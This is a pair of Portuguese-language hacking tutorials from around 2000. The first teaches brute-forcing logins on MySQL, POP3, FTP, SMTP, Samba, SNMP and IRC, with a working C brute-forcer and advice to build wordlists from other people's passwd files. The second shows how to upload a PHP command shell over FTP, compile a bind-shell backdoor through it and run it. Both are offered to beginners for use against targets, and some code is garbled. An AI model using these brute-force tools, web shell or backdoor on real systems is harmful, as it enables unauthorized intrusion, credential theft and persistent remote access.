| IMPLEMENTACOES BASICAS DE BRUTAL FORCES |
-------------------------------------------
Antes de mais nada, quero dizer aos 'elites' de plantao que por favor nao leiam este texto!! Ele eh basico e certamente nao serah util para voce!!! Poupe o seu tempo e vah se encontrar com sua 'turminha' que lah voce aprende mais!!!
Faz tempo que eu 'estou pretendendo' fazer um bom material abordando esse topico 'Brutal Forces', no entanto, estou completamente sem tempo e agora que me engajei em um projeto eh que nao irei ter tempo mesmo!! De modo que irei descrever algumas coisas basicas e talvez num futuro proximo, escreva em mais detalhes e com exemplos as possiveis implementacoes desta tecnica. Conhecimentos basicos de Linux, C e TCP/IP se fazem necessarios, mas como pretendo expor conceitos, ficarah a seu criterio pesquisar isto a fundo ou nao!!!
Brutal Force eh um nome dado a uma tecnica fucadora!!! Sim, ao contrario do que muitos pensam e pregam, Brutal Force eh sim uma tecnica!! Ela consiste basicamente em atraves do metodo tentativa/erro procurar obter sucesso em uma determinada investida!! Ou seja, um Brutal Force eh geralmente usado para obter logins e/ou senhas de determinados programas ou servicos.Esta tecnica eh muito ruidosa(deixa muitos rastros e eh de facil percepcao) e deve ser usada com a maxima cautela, no entanto, a grande maioria dos sistemas 'simples' ainda hoje encontram-se mal configurada e, consequentemente, exposta a esta tecnica.
Um Brutal Force representa uma ferramenta(programa) usado com o objetivo de implementar uma investida de 'chutes' de logins e/ou senhas em busca de obter acesso a um sistema! Mas este conceito eh bem mais abrangente, programas 'crackeadores' tambem podem utilizar tecnicas de Brutal Force, no entanto, o objetivo deste texto eh demonstrar algumas situacoes onde o Brutal Force eh usado para se obter um login e/ou uma senha validos e nao desencriptar um programa ou passwd!
O fato de se implementar este conceito com o uso de programas para automatizarem a sua implementacao eh que torna Brutal Force uma tecnica!!! Nao eh tao simples assim criar um Brutal Force para alguns servicos (exemplos: HTTP e SNMP).Em determinados casos chega-se a 'chutar' centenas de milhares de senhas!! Imagine voce 'na mao' chutando de 1 em 1!!! As Ferramentas servem justamente para tornar isto mais rapido, mais comodo e na maioria das vezes retornar 'sucesso' numa investida!
WordList, como o proprio nome diz, se refere a um conjunto(lista) de palavras que geralmente sao usadas atraves do programa 'Brutal Force' como 'chutes' para as tentativas de obtencao de login e/ou senha.Como estamos no 'Brasil', eh recomendavel a alguem que vai implementar esta tecnica, possuir uma boa Wordlist de Nomes(sobrenomes, carros, artistas, times de futebol e etc) usados no Brasil, pois as chances de ser bem sucedido vai depender e muito de uma boa wordlist que deve ser especificada a determinado servidor.. Existem servidores que nao permitem senhas faceis por 'default', logo, uma boa wordlist para esse servidor poderia ser uma que mesclasse "Letras e Numeros" e/ou que nao possuisse menos de X caracteres!
Os programas geradores de Wordlist sao uma verdadeira porcaria!! O que eu recomendo mesmo eh fazer 'na mao', ou seja, pegar alguns 'passwd' de redes ou de amigos e tomar como base elas!!:).. Existem repositorios na Internet aonde se pode encontrar Wordlists jah prontas e algumas ateh enormes!! Abaixo seguem links aonde voce poderah encontrar algumas delas:
http://packetstorm.securify.com/Crackers/wordlists/words-english.gzhttp://packetstorm.securify.com/Crackers/wordlists/words_spanish.gz
Sao varias as possiveis implementacoes desta 'tecnica' e antes que alguem diga que isto aqui eh um verdadeiro 'Manual de Brutal Force para Script Kiddies', eu recomendo a leitura completa deste item! Como eu jah disse acima, a ideia inicial era entrar em detalhes sobre as 'implementacoes', mas o tempo eh curto!
Alguns esquemas podem ser feitos 'na mao', ou seja, sem um programa especifico, no entanto, as chances de se obter sucesso numa investida dessas sao 'poucas'!! Mas eh possivel e muita gente jah conseguiu sucesso numa investida deste tipo.Um implementacao manual poderia ser:
Telnet www.alvo.org 79
Chuta-se varios usuarios e analisa a resposta.Pegando um usuario valido, pode-se chutar o 'Nome, Sobrenome, Telefone ou qualquer outro dado obtido atraves do finger' como possivel senha do usuario num servidor FTP ou Telnet, por exemplo.
Locais representam 'Brutal Forces' quando voce jah possui um acesso local (shell) no sistema.Entao, voce implementa um brutal force para obter acesso a algum 'daemon' ou mesmo a uma conta mais elevada(root)! Varios sao os programas que sao 'suscetiveis' a implementacao de um Brutal Force localmente.Abaixo eu enumero alguns, mas muito cuidado nessas investidas!!!
implementacao de tecnicas de Brutal Force.Abaixo segue um simples programa Brutal Force para tentar 'acessar' um Servidor MySQL com usuario 'root':
Desenvolvido por Nash Leon. nashleon@yahoo.com.br Exemplo simples que procura descobrir senha do usuario 'root'. */
#include
#include
#include
/* Path do mysql. */
#define PATH "/crazy/progs/bd/mysql/bin/mysql" #define ERRO -1
FILE *senhas;
main(int argc, char *argv[]){
char senha_atual[50];
char buffer[100];
if(argc < 2){
printf("Brutal Force para MySQL by Nash Leon.n"); printf("Uso: %s
}
senhas = fopen(argv[1],"r");
if (senhas == NULL){
fprintf(stderr,"Erro na Abertura do Arquivo de usuarios!!n"); exit(ERRO);}
while(fscanf(senhas, "%s", &senha_atual) != EOF){ sprintf(buffer,"%s -u root -p%s",PATH,&senha_atual); system(buffer);
} printf("nInsucesso na Investida!!n"); fclose(senhas);
return 0;
}
Eh obvio e evidente que este programa pode ser melhorado, mas ele funciona perfeitamente!!!:).. Com uma boa WordList pode-se conseguir com relativa rapidez acesso ao Servidor MySQL como usuario 'root'.Quando ele descobre a senha do root, ele cai dentro do prompt do MySQL, entao, deve-se ter bastante atencao nisso!!
Remotamente a coisa vai longe!! O leque de possibilidades nao eh pequeno, logo, as chances de implementacao desta tecnica sao grandes!! Existem dezenas de programas que facilitam a 'nossa' vida nessa tarefa!Conhecendo basicamente o daemon(quantidade maxima de tentativas por vez!), voce pode perfeitamente investir um ataque e ser bem sucedido no mesmo! Vou dividir esta implementacao em duas partes, que se seguem abaixo.
Em alguns casos, para poupar tempo e recursos, obter os logins validos de uma rede pode ser essencial!! Alguns Daemons seguindo as normas de alguns protocolos nos dao possibilidades de descobrir determinados logins validos que poderao ser uteis na implementacao de outro Brutal Force ou de algum tipo de exploitacao qualquer.Alguns Daemons costumam dizer logo de cara quando se 'chuta' um usuario invalido frases como:'Voce nao eh Bem-Vindo aqui!!' ou 'Usuario Nao Permitido!!'. A resposta dada por um daemon eh essencial para desenvolvermos uma Ferramenta Brutal Force especifica para determinada rede! Mas alguns seguem as normas especificadas nos RFCs e retornam a resposta 'pre-definida' tornando ainda mais facil a implementacao desta tecnica.Abaixo seguem dois possiveis exemplos de Brutal Force em busca de login valido!
Simple Mail Transfer Protocolo eh o protocolo da suite TCP/IP responsavel pelo envio de mensagens eletronicas, no entanto, ele pode ser util para um fucador em busca de obtencao de 'logins validos'.Sao varios os possiveis esquemas para se tentar descobrir um login valido via SMTP, abaixo seguem as 2 tecnicas amplamente difundidas:
+ VRFY -> Esta eh a mais classica, em uma rede com um Servidor SMTP
'default' poderiamos fazer o seguinte para obter logins validos:
telnet localhost 25
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
220 localhost ESMTP Sendmail 8.9.3/8.9.3; Wed, 16 Aug 2000 23:38:08 -0300 vrfy nashleon
250 Nash Leon
Note o retorno '250' para um usuario valido.Abaixo segue um exemplo de um usuario invalido:
vrfy carlos
550 carlos... User unknown
'550' eh referencia para 'Insucesso'!
+ EXPN -> Assim como VRFY, EXPN pode nos retornar um login valido, vejamos:
expn root
250
expn carloc
550 carloc... User unknown
Existem outros esquemas para se tentar 'Brutal Force' em SMTP, inclusive a tecnica de 'RCPT TO', mas no entanto sao limitadas e na maioria dos casos tende a falhar!
Existe um programa feito por brasileiros que executa as 2 tecnicas descritas acima e mais esta do 'RCPT TO' que eh bastante eficiente. Abaixo seguem links onde voce pode encontrar o mesmo:
http://stderr.sekure.org/ ou
http://packetstorm.securify.com/UNIX/misc/rcpt-analisys.tgz
Abaixo segue um link para um programa que procura executar somente esta tecnica do 'RCPT TO':
http://packetstorm.securify.com/UNIX/scanners/mailbrute.c
Ainda existe servidor usando isto!!!! Impressionante, mas de qualquer forma isto facilita o trabalho de muita gente(inclusive crackers!).Remote Shell eh um servico que executa determinados comandos 'shell' remotamente. O pessoal que manja de IP Spoof sabe muito bem o que ele faz.Mas alem dele ser usado nessas implementacoes ele tambem pode nos fornecer logins validos que mais tarde poderao ser usados em alguma outra tecnica. Abaixo segue a implementacao do esquema:
+ Digita-se na maquina atacante:
rsh -l
+ As respostas variam de sistema para sistema, mas podemos pegar as respostas dadas e saber se um usuario eh valido no sistema, comparando as respostas dada pelo servidor.Por exemplo:
rcmd: localhost: Success
A resposta acima representa em um determinado servidor um usuario invalido!
Permission denied.
Jah esta acima representa que o usuario eh valido no sistema.
Com base nessas informacoes, nos podemos criar um programa brutal force que executa um 'RSH' e pega as respectivas respostas para procurar descobrir um login valido no sistema alvo.
A Instalacao padrao do Apache em Sistemas Red Hats nos dah uma possibilidade de obtencao de logins validos.Abaixo segue um link para um Brutal Force que executa este esquema:
http://packetstorm.securify.com/web/arse.c
Se voce jah foi bem sucedido em 'capturar' logins validos, entao a coisa comeca a ficar bem mais interessante agora! No entanto, mesmo sem ter pego um login valido, as tecnicas descritas abaixo podem perfeitamente serem implementadas!
'Popper' eh uma tecnica amplamente difundida e ainda muito usada! Deixa inumeros ruidos, mas ainda assim existem centenas de milhares de servidores suscetiveis a esta tecnica.O protocolo 'PostOffice', em especial a sua versao 3, representa um servico de recebimento de mensagens eletronicas. Voce pode usar um servidor POP para baixar seus e-mails, mas ele tambem pode ser usado para capturar logins e senhas validos, em alguns casos, ateh mesmo shell.
Dois comandos nos ajudam consideravelmente nesta 'missao', sao eles os comandos USER e PASS.Abaixo segue um exemplo de uma tentativa de autenticacao em um servidor POP:
telnet localhost 110
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
+OK localhost POP3 Server (Version 1.006d) ready at
+OK please send PASS command
pass jose
-ERR invalid usercode or password, please try again quit
+OK localhost POP3 Server (Version 1.006d) shutdown.
Note que ele nos dah uma resposta de erro, e manda tentarmos novamente!!:) Ora, iremos tentar algumas milhares de vezes se possivel!!:). Se voce conseguir sucesso, deverah cair em algo como:
+OK 0 messages ready for nashleon in /var/spool/mail/nashleon
Com um pouco de tato, nao precisamos nem ler o RFC, podemos ver perfeitamente que em caso de sucesso ele retorna '+OK', em caso de falha ele retorna '-ERR'.De posse dessas informacoes eh soh construir um Brutal usando sockets para automatizar esta tecnica! Eu descreve algo ultra-basico sobre isso no 'Tutorial Basico de Programacao de Sockets em C para Linux(I Parte)', mas no entanto, a Internet nos dah varios tipos de programas que executam de forma mais rapida e automatizada o 'popper'. Abaixo segue alguns links onde voce poderah encontrar alguns programas que executam esta tecnicas e um comentario sobre o mesmo:
http://packetstorm.securify.com/groups/ADM/ADM-pop.c
http://www.w00w00.org/files/sectools/popcrack.tgz
Os Servidores de FTP tem sido alvo de varias tecnicas no intuito de exploita-los em prol de conseguir acesso a uma determinada rede! Mas eles tambem podem ser 'vitimas' de um ataque de Brutal Force!! Abaixo nos podemos ver uma simples implementacao de uma tentativa de autenticacao em um servidor WU-ftpd:
ftp> o localhost
Connected to localhost.
220 localhost FTP server (Version wu-2.6.0(1) Fri Oct 22 00:38:20 CDT 1999) ready.
Name (localhost:nashleon): hacker
331 Password required for hacker.
Password:
530 Login incorrect.
Login failed.
ftp> user nashleon
331 Password required for nashleon.
Password:
230 User nashleon logged in.
Podemos notar que ele nos responde com um '530' quando a tentativa de autenticacao na rede esta incorreta e '230' quando somos bem sucedidos numa investida! Como FTP eh bem variavel, alguns sistemas podem permitir sessoes infinitas, outros 5 e ainda outros 3 ou 1, voce precisa estar atento ao sistema e procurar obter infos sobre isso antes de uma investida!
Abaixo segue link para um excelente Brutal Force para FTP:
http://ADM.freelsd.net/ADM/ADMftpforce.tgz
Essa parte demonstra de forma clara o quao grande pode ser a determinacao de um atacante em obter um acesso a um determinado sistema! Telnet eh um servico inseguro que possui servicos 'alternativos' melhores como ssh. O Telnet alem de prover um canal de facil 'captura' de pacotes por sniffers em modo limpo, pode ser bem util numa investida do tipo Brutal Force.
http://packetstorm.securify.com/Crackers/nirvana.tgz
Temos visto muitos esquemas implementados em cima das definicoes dos RFCs, mas no entanto, o que eu considero um problema maior eh implementar um Brutal Force abrangente para HTTP, pois o numero de respostas possiveis e 'personalizadas' tornam esta tarefa um pouco trabalhosa.Recomendo a criacao de Brutal Force especifico para a Rede Alvo! Abaixo segue um link para um exemplo de um Brutal Force para WEB:
http://rootshell.com/archive-j457nxiqi3gq59dv/199707/brute_web.c.html
Servidores SAMBA nao fogem a 'regra'.Eles tambem sao suscetiveis a ataques do tipo Brutal Force.Um possivel esquema para a implementacao desta tecnica pode ser o descrito abaixo:
+ Digita-se o seguinte para obter informacoes sobre Servidores e Diretorios:
smbclient -L
Irah entao aparecer infos sobre o 'SERVER' e os diretorios.
+ Em seguida tentar um brutal nos moldes da linha de comando:
smbclient \\SERVER\DIR senha
A resposta quando sucesso eh uma 'queda' dentro do Samba do alvo.
Mas existem programas que automatizam isto de forma bastante eficaz. Existe o NAT(NetBios Auditing Tools) que pode ser obtido em:
ftp://ftp.technotronic.com/microsoft/nat10_tar.gz
Mas eu particularmente prefiro algo mais 'potente' ao meu ver.Um Brutal Force criado pela ADM que automatiza esta tecnica de Brutal Force brilhantemente, abaixo segue o link para o mesmo:
http://ADM.freelsd.net/ADM/ADMsmb-v0.2.tgz
Este servico tem sido alvo de constantes problemas relacionados as implementacoes das 'comunidades' padroes! Muitos administradores nao sao cautelosos ao que se refere 'diminuir a inseguranca' em seus roteadores! Obter acesso a um roteador em muitos casos pode ser conseguir o passwd de um sistema alvo! Dependendo do caso e da 'mente' invasora, pode-se rebotar a maquina, executar comandos remotamente e ateh mesmo 'alterar rotas'!!
Implementar uma tecnica num servidor deste pode ser meio trabalhoso, pois o protocolo usado pelo 'SNMP' eh o UDP, logo geralmente usa-se sockets 'SOCK_DGRAM' sem nenhuma garantia de chegada ou recebimento de pacotes das duas partes envolvidas na autenticacao, alem do proprio servico necessitar de parametros nem um pouco simples como 'determinadas' strings que me fazem ficar 'boiando' quando leio o RFC dele!:)
Mas para a Comunidade Fucadora, existe um programa que pode nos 'clarear' numa implementacao deste tipo e que eh realmente muito eficiente! Mais uma vez a 'ADM' demonstra na 'pratica' a sua agilidade em fazer programas eficientes e expansivos a varias plataformas.Abaixo segue o link para o Brutal Force deles para 'SNMP':
http://ADM.freelsd.net/ADM/ADMsnmp.0.1.tgz
Apesar deu considerar uma implementacao 'inutil', eh possivel atraves da Forca Bruta tentar uma investida para conseguir obter a senha de um canal e ateh mesmo de um nick.Estas tecnicas sao bastante usadas em BOTs criados em Perl que facilitam de forma eficiente um ataque do tipo Brutal Force.Possiveis esquemas para isso sao facilitados atraves da implementacao(pessima e desnecessaria) de servicos como NickServ.Algumas redes, como a brasnet com seus Admins e IRCops inuteis tentam aumentar a 'seguranca' nao permitindo mais de 1 tentativa por sessao, mas se esquecem das outras possiveis implementacoes!! Ou seja, nao existe soh
/msg nickserv identify senha
e
/msg nickserv ghost nick senha
para se investir um brutal force!! Abaixo segue um link para um Brutal Force de IRC para Windows que procura obter senhas de canais de IRC:
http://packetstorm.securify.com/irc/IRCrack09.zip
Ainda nao para por aih, se o atacante for um verdadeiro 'kamikaze', ele pode ainda tentar uma implementacao conjunta de varios Brutal Forces para varios Servicos ao mesmo tempo! Nao recomendo nunca isto, mas eh um fato a ser considerado, pois pode-se vir a ganhar tempo em alguns casos! Abaixo segue um link para um programa deste tipo:
http://packetstorm.securify.com/Win/brutus-aet2.zip
Praticamente todos os servicos que autenticam sao vulneraveis em sua instalacao padrao a Implementacoes de Brutal Forces.A menos que seja instalado uma ferramenta IDS capaz de detectar que um servico estah sendo atacado, as inumeras possibilidades descritas acima podem ser implementadas. Alguns servicos sao vulneraveis a Brutal Forces, mas nao possuem Ferramentas de ataque amplamente difundidas e caberah a voce leitor, ir mais fundo nessa vastidao de possiveis Implementacoes!!
Imap e Rlogin sao alguns dos inumeros servicos que nos podemos facilmente construir um 'Brutal Force' para os mesmos.Do outro lado, existem algumas implementacoes que sao mais dificeis como o 'SU' local e o 'SSH', mas nao impossiveis!!! Cabe a cada um de nos ir mais alem do que conhecemos!!
Um Brutal Force deve ser evitado! Eh preferivel implementar outras tecnicas um pouco mais complexas, mas bem mais silenciosas do que mandar 'A Forca Bruta'.Existe um ditado bastante valido: 'A Forca Bruta nunca vence a Forca Tecnica'! Um Brutal Force deixa muitos vestigios e consome muito dos sistemas(tanto do alvo como local).Voce muitas vezes corre um serio risco de derrubar um daemon! Nao importa se seja uma rede Com 'Banda Larguissima' ou nao, voce pode sim derrubar o daemon, principalmente se usar uma boa conexao(dedicada) e multiplos sockets! Melhor eh pesquisar e procurar conhecer mais sobre o sistema alvo antes de tentar investir um Brutal!! Hoje em dia, existem ferramentas IDS capazes de perceber um ataque do tipo Brutal Force, e isso nao eh nada bom! Alguns IDS 'derrubam' literalmente o daemon quando ele estah sendo atacado, outros negam chegadas de pacotes vindos do seu endereco e alguns ainda responde num 'ataque' DoS pra cima de tih!! Seja esperto e analise bem a rede antes de investir pesado num brutal force! Cuidado com os 'Fake Servers' que nao fazem outra coisa a nao ser dar respostas invalidas de autenticacao! Voce pode perder muito tempo se nao perceber isto com antecedencia!! Por isso, evite o Brutal Force!
Melhor do que simplesmente executar uma bem sucedida investida de 'Brutal Force' eh executar uma bem sucedida investida com um Brutal Force construido por voce! Eh dificil achar Brutal Force especificos para determinados servicos e voce pode ver neste texto algum de minha autoria, no entanto, se um servico permite autenticacao, nem que seja 1 por sessao, voce pode fazer um Brutal para ele! Analise os esquemas e veja se nao pode haver utilidade em se construir um Brutal Force proprio e exclusivo para determinado servico e/ou rede!
http://packetstorm.securify.com/web/arse.c -> WEB Brute http://packetstorm.securify.com/irc/IRCrack09.zip -> Para Canal de IRC. http://packetstorm.securify.com/groups/ADM/ADM-pop.c -> POPhttp://packetstorm.securify.com/Win/brutus-aet2.zip -> Multiplos For Win.http://packetstorm.securify.com/UNIX/misc/rcpt-analisys.tgz -> SMTP.http://packetstorm.securify.com/Crackers/nirvana.tgz -> Telnet Brutal. http://ADM.freelsd.net/ADM/ADMftpforce.tgz -> Brutal FTP. http://ADM.freelsd.net/ADM/ADMsnmp.0.1.tgz -> Brutal SNMP. http://ADM.freelsd.net/ADM/ADMsmb-v0.2.tgz -> Brutal Samba. ftp://ftp.technotronic.com/microsoft/nat10_tar.gzhttp://packetstorm.securify.com/UNIX/scanners/mailbrute.c
http://packetstorm.securify.com/
http://unsekurity.virtualave.net/
http://www.taldowin.com.br/
http://www.bufferoverflow.org/
http://www.absoluta.org/
Como voce pode ver amigo, NewBie, tem muito o que ser dito ainda!! Sao varias e varias as tecnicas usadas por fucadores e os conceitos sao bastante abrangentes!! Eh muito dificil uma pessoa soh dominar a vastidao que o 'hacking' exige de modo que eu recomendo mais do que nunca a troca de informacoes, sejam elas 'eticas' ou 'tecnicas' pois a jornada eh longa! Tem muito o que ser dito e o pessoal do Unsekurity Team vem se comprometendo na medida do possivel ir descrevendo mais sobre o mundo do fucador etico!! Existem varios conceitos dominantes e devemos conhece-los para podermos ser bem sucedidos numa investida qualquer!
]
Espero que todas as informacoes que eu venho disponibilizando ateh agora
venham a ser uteis para alguem um dia! Nao eh facil escrever algumas
milhares de linhas tecnicas! Os esforcos conjuntos e a uniao dos fucadores
eh que nos faz ter uma conciencia maior na 'Troca de Informacoes' em prol
de uma liberdade maior! Eu soh aprendi isto que descrevo neste texto porque
alguem lah no passado 'clareou' o caminho que eu deveria seguir!
Me lembro quando saiu o programa 'pwdump' e em seguida o 'NTcrack' e na
epoca eu nao conseguia compreender o pleno significado daqueles programas
e hoje olho para eles e vejo que se eu quiser eu faco um igual ou ateh
mesmo melhor!! Sao passos que damos e cada dia aprendemos um pouco mais,
por isso, seja paciente!! Temos muito a aprender ainda e com calma, os
horizontes podem ser expandidos!!
Agradeco a todos do Unsekurity Team e a voce amigo leitor, cada dia que
passa eu venho tendo uma maior conciencia do 'papel' que deve desempenhar
alguem que escreve um texto tecnico voltado ao pessoal que mexe com
hacking!! Nao existe hacking sem etica!! Seja sabio!!
Nash Leon.
Alguns pre-requisitos se fazem necessarios para o total entendimento deste artigo, dentre os quais se destacam, conhecimento basico de PHP-CGI, Linux, FTP e HTTP.
| O TRUQUE DO CGI(PHP) |
-------------------------
---------------------------------INDICE-------------------------------------
1 - INTRODUCAO.
2 - POSSIVEIS TRUQUES.
2.1 - Pre - Requesitos
2.2 - Criando o PHP-CGI
2.3 - Executando a Tecnica
3 - TERMINANDO.
3.1 - Links e Referencias.
3.2 - Consideracoes Finais.
A tecnica que pretendo descrever aqui nao eh nova.Eh amplamente divulgada na internet, mas por algum motivo, eh meio que 'desprezada'.Muitos servidores costumam liberar acesso a publicacao de home pages atraves de ftp(sem acesso a shell).Acontece que se o servidor em questao disponibiliza algum tipo de cgi, e nao seta corretamente o uso do diretorio aonde um cgi se torna executavel o sistema alvo corre serio risco.O Esquema que pretendo disponibilizar aqui eh valido em sistemas Linux(expansivel a outros),WEB SERVER Apache(tendo ou nao Stronghold), e principalmente PHP instalado(diga-se mal configurado!). Pouco tempo atras, foi disponibilizado na web um documento chamado "how.defaced.apache.org.txt/" que descrevia passo a passo a tecnica usada por esses caras para invadir o servidor e depois mudar a hp de lah.Voce pode encontrar este texto na packetstorm(http://packetstorm.securify.com), Nesse arquivo texto tem algo muito interessante, eh o seguinte:
/*
Notaram algo interessante aih?? "diretorios wordlwritable(todo mundo pode escrever) que nos permite enviar e """executar""" php3 scripts.Quando eu lih isso fiquei mais do que intrigado.Um membro do Unsekurity Team jah havia comentado comigo que 'permissao para executar cgi eh a mesma coisa que dar shell', mas o pessoal da apache ia configurar mal seu proprio servidor??? O problema nao estah nem nunca esteve no apache,o problema consiste que a instalacao default(padrao) do PHP faz com que se possa executar qualquer script php em qualquer diretorio na maquina local.Nao importa qual seja o WEB SERVER, o problema estah na instalacao padrao do PHP.A versao atual(PHP 4.0.0) tambem possui esse tipo de configuracao default.Os caras que alteraram aquela pagina(a do apache) nao divulgaram isso, nao me pergunte por que.:)
Como PHP eh uma linguagem versatil, scripts cgi em PHP nos dao inumeras chances de obter sucesso em varios tipos de investidas por aih.
Nesse item serah abordado como eh o funcionamento passo a passo da tecnica para se conseguir execucao de comando shell na maquina alvo.
Antes de mais nada, conhecimentos basicos de PHP-CGI, Linux, FTP e HTTP.No host alvo, voce precisa ter permissao para algumas coisas, dentre elas: poder mandar arquivos(ter permissao de escrita num diretorio), o host alvo necessita estar com PHP instalado e com configuracao padrao, ou seja, mal-configurado(Nos ultimos dias tive 100% de sucesso!!),os esquemas que testei foram em servidor Apache(1.3.6, 1.3.9, 1.3.12) e Apache nas versoes acima citadas com Stronghold 2.4 , 2.4.1, 2.4.2, As versoes do PHP foram a 3.0.12, 3.0.14 e 4.0.0.De qualquer forma,veja e pesquise se as versoes e as permissoes estao disponiveis para uma investida e implementacao bem sucedida desta tecnica.Citarei aqui esquemas para o Linux(AIX,HP-UX,BSDs confirmados tambem), de modo que, podem muito bem serem extendidos para outros SOs.Se voce possui acesso a ftp com conta,mas sem shell, num host com as configuracoes acima setadas, voce pode testar perfeitamente.
2.2 - Criando o php-cgi
PHP eh uma linguagem interpretada, assim como PERL, SHELL Script e etc. Ela eh voltada para aplicacoes na Internet, mais especificamente WEB. Conheco muito pouco de cgis, de modo que nao irei ensinar nada sobre PHP-CGI.O exemplo descrito nesse texto dos caras que invadiram lah pode ser usado, veja:
Todo PHP-CGI comeca com "<?" e termina com "?>" de modo que os comandos devem estar compreendidos entre essas duas instrucoes.Esse php eh suficiente para execucao de comando em shell, essa instrucao "passthru" eh equivalente a "system" e retorna dados obtidos com a execucao dela.
Se voce tiver acesso ao httpd.conf do apache, seria muito bom.Lah tem as definicoes dos php-cgis que podem ser executados no sistema(php ou php3), e tambem tem o nome do diretorio padrao para o apache ler as paginas dos usuarios(geralmente eh public_html), se voce nao conseguir este arquivo (ele ateh diria se o servidor alvo pode estar vuln ou nao), tente na marra,criando um diretorio public_html no dir aonde tem escrita.A tecnica consiste no envio do cgi executando os parametros que desejarmos.Voce pode enviar uma backdoor que binda uma shell como usuario comum(nobody), (Exemplo: a backdoor que disponibilizo no tutorial de sockets que binda uma porta TCP).Em seguida via http mandar o sistema compilar a backdoor, veremos passo a passo, abaixo:
[seuhost]# ftp host_alvo
ftp> mkdir public_html
257 "/home/usuario/public_html" new directory created. ftp> cd public_html
250 CWD command successful.
ftp> mkdir cgi
257 "/home/usuario/public_html/cgi" new directory created. ftp> chmod 777 cgi
200 CHMOD command successful.
ftp> cd cgi
250 CWD command successful.
ftp> put nlback.c
local: nlback.c remote: nlback.c
200 PORT command successful.
150 Opening BINARY mode data connection for t.c. 226 Transfer complete.
1230 bytes sent in 1.00221 secs (1.4e+02 Kbytes/sec) ftp> put out.php
local: out.php remote: out.php
200 PORT command successful.
150 Opening BINARY mode data connection for out.php. 226 Transfer complete.
22 bytes sent in 0.00121 secs (2 Kbytes/sec) ftp> exit
Depois eh soh mandar compilar a backdor via Browser:
http://servidor/~usuario/cgi/outphp.php?cmd=gcc+-o+nlback+nlback.c
E depois executar a backdoor:
http://servidor/~usuario/cgi/outphp.php?cmd=./nlback
Pronto, voce possui uma porta aberta, entao, basta telnet pra ela.Lah dentro voce tenta obter root por outros meios.Leia o esquema dos caras, quem sabe voce pode se deparar com mais configuracoes defaults.Vai uma backdoor que binda shell aih, pode ser melhorada perfeitamente:
------------------------------nlback.c-----------------------------------
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#include <netdb.h>
#include <netinet/in.h>
#define ERRO -1
/* Mude o numero da porta abaixo */
#define PORTA 20000
int binda(){
int Meusocket;
int tamanho, conector;
struct sockaddr_in hacker;
struct sockaddr_in vitima;
char engana[50];
if(fork() == 0){
vitima.sin_family=AF_INET;
vitima.sin_addr.s_addr= htonl(INADDR_ANY); vitima.sin_port= htons(PORTA);
bzero(&(vitima.sin_zero), 8);
Meusocket = socket(AF_INET,SOCK_STREAM,0); if(Meusocket < 0){
fprintf(stderr,"Erro em socket()!n");
exit(ERRO);
}
bind(Meusocket,(struct sockaddr *)&vitima,sizeof(vitima)); if(bind < 0){
fprintf(stderr,"Erro em bind()!n");
exit(ERRO);
listen(Meusocket,2);
tamanho = sizeof(hacker);
conector=accept(Meusocket,(struct sockaddr *)&hacker,&tamanho);
if(conector < 0){
fprintf(stderr,"Erro em accept()!n");
}
dup2(conector,0);
dup2(conector,1);
dup2(conector,2);
execl("/bin/sh","sh",0);
}
}
main(){
binda();
}
3 - TERMINANDO
Eu pesquisei um pouco sobre isso internet a fora, e ateh o exato momento, nao encontrei documentos falando mesmo sobre isso.A instalacao do PHP alerta sobre esse perigo, de modo que, nao se trata de nenhum bug e sim de uma mal-configuracao por parte do administrador.Existem varios esquemas iguais a esses(programas mal-configurados por default) e aos poucos nos iremos mostrar mais alguns, os tutoriais que estao a caminho tem consumido muito tempo de modo que estamos sem tempo para fazer algo mais 'descente' e entendivel que isto aqui.
http://www.php.net/ -> HP oficial do PHP.:)..Eles alertam, os admins
eh que sao preguicosos.
http://tutorial.virtualave.net/ -> Procure algo sobre cgis.
http://packetstorm.securify.com/ -> Voce pode achar o texto dos caras
que invadiram a www.apache.org/.
http://www.apache.org/ -> Sem sombra de duvida o melhor WEB Server que
existe.
http://www.int.c2.net/ -> Implementacao SSL para o Apache(StrongHold).
http://unsekurity.virtualave.net/
http://unsekurity.cyberpunk.com.br/
http://www.bufferoverflow.org/
http://www.hacker.com.br/
http://www.taldowin.com.br/
http://www.securenet.com.br/
3.2 - Consideracoes Finais
Sem duvida que obter acesso a execucao de um cgi eh um passo enorme em direcao a execucao de comandos shell e consequentemente obtencao de root. O que descrevo nesse artigo nao eh algo novo, longe disso, para um fucador, toda e qualquer tecnica eh vantajosa, e essa nao foge a regra.Amigo,Newbie, assim como o problema do frontpage(mal-configurado por default) ainda eh atual, apesar de ser uma vulnerabilidade antiga, essa do PHP eh realmente muito comprometedora, por isso, amigo, nao vah fazer bobagens.
Agradecimentos a todos do Unsekurity Team e ao pessoal que vem acompanhando nossas publicacoes e dando apoio e contribuindo de alguma forma.
Nash Leon
29.05.00:
No dia 27.05.00 tomamos a iniciativa de divulgar este problema para a comunidade de seguranca, de forma suscinta, esperando ver a reacao da mesma frente a esse problema.Tres mail lists foram contactadas(e varios webforums),dentre elas a infoseg(representante da cert aqui no brasil), ateh o exato momento somente 1 mail list expos nosso email(security-net) e ateh entao nenhum comentario a respeito.Enquanto o tempo vai passando,no underground, o tutorial vem sendo amplamente divulgado.Eu andei pesquisando mais redes e procurando ver como esse problema pode ser maior expandido, e nas minhas investidas ateh o exato momento, somente 1 rede estava 'segura', ou seja, o PHP estava instalado, mas nao instalado com a configuracao padrao e sim com os diretorios devidamente setados(ateh que enfim um admin responsavel????:)).Como ateh o exato momento a seguranca nao tem dado a minima inportancia, vou expandir mais os possiveis esquemas:
+ Como foi descrito pelos caras que invadiram o servidor da apache.org, diretorios ftproot==webroot com direito a escrita estao tambem sujeitos a implementacao da tecnica.
+ Servidores samba que permitem a montagem de diretorios com home pages, ou diretorios com permissao de acessos via http tambem podem estar sujeitos a implementacao da tecnica.
+ Servidores NFS que como no item acima, permitem a montagem de diretorios com home pages ou diretorios com permissao de acessos via http tambem estao suscetiveis a implementacao da tecnica.
+ Servidores de ftp que se utilizam de mirrors, podem facilmente serem enganados, caso os mirrors jah tenham sido 'invadidos'.
Creio que existam mais tecnicas possiveis de serem implementadas ainda. Sem mais.
Nash Leon
O Nash descreveu um modo de obter acesso shell via FTP + PHP.No entanto, este nao eh o unico modo conhecido.Existem diversos outros meios de se obter acesso shell, mesmo que voce obtenha uma conta "/bin/false".
